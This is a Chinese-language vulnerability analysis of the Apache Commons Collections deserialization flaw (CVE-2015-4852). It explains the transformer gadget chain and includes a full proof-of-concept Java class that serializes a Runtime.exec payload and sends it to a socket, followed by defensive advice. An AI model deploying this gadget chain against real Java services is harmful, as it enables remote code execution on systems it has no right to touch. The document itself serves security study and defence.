Apache-Commons-Collections反序列化漏洞分析
字数 1471 2025-08-18 11:37:23
Apache Commons Collections反序列化漏洞深入分析与利用
漏洞概述
Apache Commons Collections是一个为Java提供强大数据结构的常用库。2015年曝出的反序列化漏洞(CVE-2015-4852)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。
核心漏洞原理
漏洞利用了两个关键组件:
- TransformedMap - 允许在Map条目被修改时触发预定义的操作
- InvokerTransformer - 通过反射机制调用任意Java方法
关键技术点分析
1. TransformedMap机制
TransformedMap允许在Map的键或值被修改时执行预定义的转换操作:
Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
keyTransformer: 键被修改时触发的转换器valueTransformer: 值被修改时触发的转换器
2. Transformer接口
Transformer是一个接口,只有一个方法:
Object transform(Object input)
Commons Collections提供了多种内置Transformer实现:
ConstantTransformer: 总是返回固定值InvokerTransformer: 通过反射调用方法ChainedTransformer: 将多个Transformer串联执行
3. 恶意Transformer链构造
通过ChainedTransformer可以构造一个执行链,最终实现命令执行:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
};
Transformer transformChain = new ChainedTransformer(transformers);
这个链相当于执行了:
((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
4. 触发机制
要使这个Transformer链被执行,需要:
- 将Transformer链与Map关联
- 找到在反序列化过程中会自动操作Map的类
利用链分析
利用链1: BadAttributeValueExpException
在JDK 1.8环境下可用的利用链:
-
BadAttributeValueExpException.readObject()
- 反序列化时调用val.toString()
-
TiedMapEntry.toString()
- 调用getValue()
-
LazyMap.get()
- 当键不存在时调用transform方法
-
ChainedTransformer.transform()
- 执行恶意代码
具体实现:
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);
利用链2: AnnotationInvocationHandler (旧版本JDK)
在早期JDK版本中,AnnotationInvocationHandler的readObject方法会操作memberValues,可以触发Transformer链。
完整PoC示例
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;
public class POC {
public static void main(String[] args) throws Exception {
// 构造恶意Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"}),
new ConstantTransformer("1") // 避免IDE提前触发
};
Transformer transformChain = new ChainedTransformer(transformers);
// 构造LazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
// 构造TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
// 构造BadAttributeValueExpException并设置val字段
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);
// 发送序列化对象
Socket socket = new Socket("127.0.0.1", 9999);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(exception);
objectOutputStream.flush();
}
}
防御措施
-
升级Commons Collections
- 升级到3.2.2或4.0及以上版本
- 这些版本修复了InvokerTransformer的安全问题
-
反序列化防护
- 使用ObjectInputFilter限制反序列化的类
- 使用安全管理器
-
代码层面
- 避免反序列化不可信数据
- 使用白名单机制验证序列化对象
调试注意事项
-
IDE干扰问题
- IDE可能会提前计算变量值,导致PoC被提前触发
- 调试时要特别注意执行流程
-
JDK版本差异
- 不同JDK版本中可利用的类和方法可能有差异
- 需要针对目标环境测试利用链
总结
Apache Commons Collections反序列化漏洞展示了Java反序列化的危险性。通过精心构造的Transformer链和利用特定类的反序列化行为,攻击者可以实现远程代码执行。理解这些利用技术对于开发安全的Java应用和有效防御此类攻击至关重要。